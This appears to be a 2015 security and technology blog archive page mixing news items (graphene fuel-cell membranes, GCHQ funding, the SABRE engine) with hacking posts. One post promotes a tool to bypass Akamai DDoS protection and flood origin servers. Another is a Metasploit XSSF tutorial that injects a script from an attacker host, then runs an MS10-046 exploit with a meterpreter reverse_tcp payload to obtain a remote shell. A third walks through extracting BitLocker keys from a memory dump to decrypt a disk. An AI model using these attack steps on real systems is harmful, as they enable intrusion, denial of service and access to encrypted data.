الثلاثاء، 10 نوفمبر 2015

Wonder Material Could Harvest Energy from Thin Air

Graphene

Graphene – Most Innovative Advance in Battery Technology


Claims for new battery technology have been all over the place since the development of lead acid battery for over 150 years. Researchers however, at Manchester University in UK, state that their discovery regarding the new material graphene would be the most innovative advance in battery technology.

As per study which had been published in the journal Nature, graphene membranes could be utilised in sieving hydrogen gas from the atmosphere, an improvement which could make way for electric generators powered by air.

Post-doctoral researchers in the project, Dr Sheng Hu commented that it seems extremely simple and promising since graphene can be produced in square metre sheets and they hope that it would find its way to commercial fuel cells sooner than later.

At the core of technology is the physical properties of graphene which is an element having the same atomic assembly as the lead which is present in the household pencil. Graphene already very popular as a technological game changer, however was isolated in 2004 by a group from Manchester University ledby Andrew Geim and Kostya Novoseloy, who won the Nobel Prize for Physics for their discovery in 2010.

Lightest/Thinnest/Strongest Harder than Diamond


Graphene is the lightest, thinnest and the strongest object obtained and the first two dimensional crystal known to science. Moreover, it is harder than diamond and about 200 times stronger than steel. Being transparent and flexible in conducting electricity much better than copper, this substance is set to transform from smartphones and wearable technology to green technology as well as medicine.

Known for its barrier qualities, it is about an atom thick and more than a million times thinner than a human hair. With the latest discovery, graphene is smart for probable usage in proton conducting membranes that is at the heart of modern fuel cell technology.

Fuel cell tends to function by using hydrogen and oxygen for fuel, converting the chemical energy created by its input into electricity directly. But present membrane that tend to discrete protons essential for the process are comparatively incompetent, enabling contamination in the crossover of fuel.

Hydrogen Acquired Entirely from Fossil Fuels


Graphene membranes can boost their durability as well as efficiency. The team discovered that the protons passed through the ultra-thin crystals with relative ease especially at increased temperatures as well as with the utilization of platinum based catalyst covered on the membrane film.

The amazing feature of the research is that the membranes could be utilised in extracting hydrogen from the atmosphere wherein the scientist believed that such harvesting could be joined with fuel cells in creating a mobile electric generator fuelled by hydrogen present in the air. According to the scientist, it is a simple setup when one knows how it should work.

You could put a hydrogen containing gas on one side and apply a small electric current to collect pure hydrogen on the other side and this hydrogen could then be burned in a fuel cell. They had worked with small membranes and had achieved the flow of hydrogen tough tiny.

 However, this is the initial state of discovery and the paper is to bring about an awareness of the prevailing prospects, among experts. Further efforts would be needed to build up and test hydrogen harvesters and presently hydrogen is acquired entirely from fossil fuels.

UK Government And GCHQ Are Investing £6.5m For Cyber Security


UK Government And GCHQ Are Investing £6.5m For Cyber Security. 

Cyber Analytics , Cloud protection and  the internet of things (IoT) are the most investment areas.

CyberInvest is about bringing together academia, industry and government to address the critical shortage of high-end cyber research in a more focused way," said GCHQ director Robert Hannigan during the annual IA15 conference in London.

According to Professor Angela Sasse, head of IT at University College London (UCL), a key benefit of the scheme for academia will be access to data held by GCHQ.

"To do effective research we need access to data in order to study the impact of the new ideas and new technologies that we are developing," she said.

"Sometimes the impression is that all academics want is more money. But in the cyber security space it's very important to realise it's not just about money."

However, while Sasse acknowledged that it may take some time for government and academia to figure out how to work well together she maintained they are natural allies.

"Academia will always be a friend of the government and industry but sometimes it has to be a critical friend," Sasse said.

This Joint program will help to fight and monitor by Cyber Crime.

Source: V3

الأحد، 8 نوفمبر 2015

How To Detecting DDoS Attack?


How To Detecting DDoS Attack?

It's very important to have a single pane of glass where you can visualize all of the elements to help diagnose issues and detect DDoS attacks.

Bob Pierpoint, Director of Customer Experience at SevOne, shares how to effectively detect DDoS attacks. It's very important to have a single pane of glass where you can visualize all of the elements that make up your DMZ and your internet facing infrastructure to help diagnose issues and detect DDoS attacks


Offered Free by: SevOne

FREE Download

السبت، 7 نوفمبر 2015

Hypersonic Rocket Engine Could 'Revolutionize' Air Travel

Sabre

Breakthrough Aerospace Engine Technology – Revolutionize Air Travel


BAE Systems, British aerospace giant, is staking big on hypersonic travel, something which its prospective new partner states could be a reality in two decades. BAE has plans of investing around £20.6 million in a 20% stake of a UK based engineering firm, Reaction Engines which has invented a breakthrough aerospace engine technology that could probably be utilised for a new generation of reusable space vehicle as well as a commercial offshoot that could revolutionize air travel.

BAE’s website states that the partnership would enable alliance on SABRE technology of Reaction Engines, a new aerospace engine class which tends to combine jet as well as rocket technologies with the capabilities of transforming hypersonic flight and the economics of space access.

Together with hypersonic air travel, Reaction Engines’ managing director, Mark Thomas informed CNN’s Richard Quest that reusable space plane which takes off like an aircrafts is said to be one of the concepts which would be made available by this engine. SABRE – Synergetic Air-Breathing Rocket Engine, is an air-breathing engine that tends to use ultra-lightweight heat exchangers in order to cool off very hot air streams like those faced at hypersonic speeds

Technology Empowers Aircraft


According to Reaction Engines conveyed in a press release on its website, the technology tends to empower the aircraft to operate at speeds of up to five times the speed of sound or fly directly into Earth orbit, easily. With its capacity to utilise atmospheric oxygen for thrust, the engine’s design denies the need for heavy fuel reserves on boards thereby reducing the weight of a SABRE powered vehicle.

As per BAE’s statement, it says that SABRE can also transition to a rocket mode enabling spaceflight at speed up to orbital velocity or 25 times the speed of sound. The design has been described as an absolutely revolutionary, visionary concept by Thomas.

He has clarified that `SABRE is a rocket engine at heart but can breathe air whenever it is in the atmosphere and hence it is not essential to carry so much liquid oxygen on board the vehicle. It enormously decreases the weight and one can put that in vehicle design capability or payload’.

Advanced Heat Exchanger – Ease Hypersonic Air Temperature


The fundamental aspect of the engine’s design is the company’s advanced heat exchanger that tends to ease hypersonic air temperature by more than a thousand degrees in a hundredth of a second. The company is said to be focusing on enhancing the engine and according to Thomas, BAE would be helping in translating its potential into a range of practical applications.

BAE’s anticipated 20% investment is awaiting the approval of Reaction Engine’s shareholders. Reaction Engines had announced that it would partner with defense multinational BAE System in a working collaboration in order to create its supersonic plane SABRE. BAE had purchased 20% of Reaction Engines offering the strategic investment essential in accelerating the project, a form of jet rocket engine hybrid.

As per Reaction Engines, driving Sabre seems to be a brand new form of aerospace engine that enable the operation of planes from a standstill on the landing strip to speeds that is five times more than the speed of sound in the atmosphere.

Volatility Framework Plugin For Extracting BitLocker FVEK (Full Volume Encryption Key)


Volatility Framework Plugin For Extracting BitLocker FVEK (Full Volume Encryption Key)

Volatility plugin: Bitlocker

This plugin finds and extracts BitLocker Full Volume Encryption Key (FVEK) which can be used to decrypt BitLocker volumes.

Currently only Windows Vista/7 memory images are supported.

Example use case

Evidence #1: John's computer HDD binary image: John_HDD.dd

Evidence #2: John's computer memory dump: John_Win7SP1x64.raw

1) Determine the offset of encrypted BitLocker volume. In the following example it's the second NTFS partition starting from sector 718848. Note the "-FVE-FS-" signature.

$ mmls John_HDD.dd
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

     Slot    Start        End          Length       Description
00:  Meta    0000000000   0000000000   0000000001   Primary Table (#0)
01:  -----   0000000000   0000002047   0000002048   Unallocated
02:  00:00   0000002048   0000718847   0000716800   NTFS (0x07)
03:  00:01   0000718848   0031455231   0030736384   NTFS (0x07)
04:  -----   0031455232   0031457279   0000002048   Unallocated
$
$ hexdump -C -s $((718848*512)) -n 16 John_HDD.dd
15f00000  eb 58 90 2d 46 56 45 2d  46 53 2d 00 02 08 00 00  |.X.-FVE-FS-.....|
15f00010

2) Use bitlocker plugin to extract FVEK. It's convenient to use optional argument --dump-dir in order to specify the directory in which cipher ID (first 2 bytes) and FVEK (64 bytes) will be saved.

$ export VOLATILITY_LOCATION=file://./John_Win7SP1x64.raw
$ export VOLATILITY_PROFILE=Win7SP1x64
$
$ python vol.py bitlocker --dump-dir ./keys
Volatility Foundation Volatility Framework 2.5

Cipher: AES-128 + Elephant diffuser (0x8000)
FVEK: 2140c8afcbb835127b3b5b97fdcc8b846b7d97fba0c5a2e9dbfef97e263272fa4543af87702c4cee4252eaaa0b7fdc2a96c54aace6e90642a4bbece8afc430c2
FVEK dumped to: ./keys/0xfa80018fe8c0.fvek

3) Use extracted FVEK to decrypt the volume using dislocker in FUSE mode.

$ sudo dislocker-fuse -V John_HDD.dd -k ./keys/0xfa80018fe8c0.fvek -o $((718848*512)) -- /mnt/ntfs
$
$ sudo mount -o loop,ro /mnt/ntfs/dislocker-file /mnt/clear
$
$ ls -lh /mnt/clear
total 730M
lrwxrwxrwx 2 root root   60 Jul 14  2009 Documents and Settings -> /mnt/clear/Users
-rwxrwxrwx 1 root root 730M Nov  4 09:39 pagefile.sys
drwxrwxrwx 1 root root    0 Jul 13  2009 PerfLogs
drwxrwxrwx 1 root root 4.0K Nov  4 09:58 ProgramData
drwxrwxrwx 1 root root 4.0K Apr 12  2011 Program Files
drwxrwxrwx 1 root root 4.0K Nov  4 07:01 Program Files (x86)
drwxrwxrwx 1 root root    0 Nov  4 07:04 Recovery
drwxrwxrwx 1 root root    0 Nov  4 09:57 $Recycle.Bin
drwxrwxrwx 1 root root 4.0K Nov  4 07:05 System Volume Information
drwxrwxrwx 1 root root 4.0K Nov  4 09:56 Users
drwxrwxrwx 1 root root  24K Nov  4 09:58 Windows

الخميس، 5 نوفمبر 2015

Akamai Reflective DDoS Tool


Akamai Reflective DDoS Tool

Attack the origin host behind the Akamai Edge hosts and bypass the DDoS protection offered by Akamai services.


How it works ?


Based off the research done at NCC:

Akamai boast around 100,000 edge nodes around the world which offer load balancing, web application firewall, caching etc, to ensure that a minimal amount of requests actually hit your origin web-server beign protected. However, the issue with caching is that you cannot cache something that is non-deterministic, I.E a search result. A search that has not been requested before is likely not in the cache, and will result in a Cache-Miss, and the Akamai edge node requesting the resource from the origin server itself.

What this tool does is, provided a list of Akamai edge nodes and a valid cache missing request, produces multiple requests that hit the origin server via the Akamai edge nodes. As you can imagine, if you had 50 IP addresses under your control, sending requests at around 20 per second, with 100,000 Akamai edge node list, and a request which resulting in 10KB hitting the origin, if my calculations are correct, thats around 976MB/ps hitting the origin server, which is a hell of a lot of traffic.

Finding Akamai Edge Nodes

To find Akamai Edge Nodes, the following script has been included:

# python ARDT_Akamai_EdgeNode_Finder.py

This can be edited quite easily to find more, it then saves the IPS automatically.


Download

About the Author :
Christian Galeone is an IT Security Specialist from Italy. He has been Acknowledged by the TOP IT 5 Companies including Yahoo!, Microsoft, AT&T, Sony. He is currently working with HOC as Author of Cyber Security & VA Research Articles.

الثلاثاء، 3 نوفمبر 2015

Tutorial: XSSF In Metasploit

 

Tutorial: XSSF In Metasploit

Hey today I am back with some Metasploit stuff. Here is the XSSF (Cross Site Scripting Framework), which is used to analyse the XSS flaws in site. So here is the practical:
Write this script in the browser with the xss vuln. link:
"><script src="http://192.168.1.10:8888/loop?interval=2"></script>

Working in Metasploit:

msf>load XSSF

    _/      _/    _/_/_/    _/_/_/  _/_/_/_/

     _/  _/    _/        _/        _/

      _/        _/_/      _/_/    _/_/_/

   _/  _/          _/        _/  _/

_/      _/  _/_/_/    _/_/_/    _/      


                                           Cross-Site Scripting Framework

                                       Ludovic Courgnaud - CONIX Security

[+] Server started : http://192.168.0.58:8888/

[*] Please, inject 'http://192.168.0.58:8888/loop' resource in an XSS

[*] Successfully loaded plugin: XSSF

msf>xssf_victims

Victims

=======
id  xssf_server_id  active  ip  interval  browser_name  browser_version  cookie

--  --------------  ------  --  --------  ------------  ---------------  ------

[*] Use xssf_information [VictimID] to see more information about a victim



msf>xssf_information 1

msf>use auxiliary/xssf/alert

msf  auxiliary(alert) > set AlertMessage This is XSS Attack by Kislay

AlertMessage => This is XSS Attack by Kislay

msf  auxiliary(alert) >use exploit/windows/browser/ms10_046_shortcut_icon_dllloader

msf  exploit(ms10_046_shortcut_icon_dllloader) >set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf  exploit(ms10_046_shortcut_icon_dllloader) >set LHOST 192.168.1.10

LHOST => 192.168.1.10

msf  exploit(ms10_046_shortcut_icon_dllloader) > exploit

msf>jobs

msf>xssf_exploit 1 0

msf>sessions

msf>session -i 1

meterpreter>


got the shell :)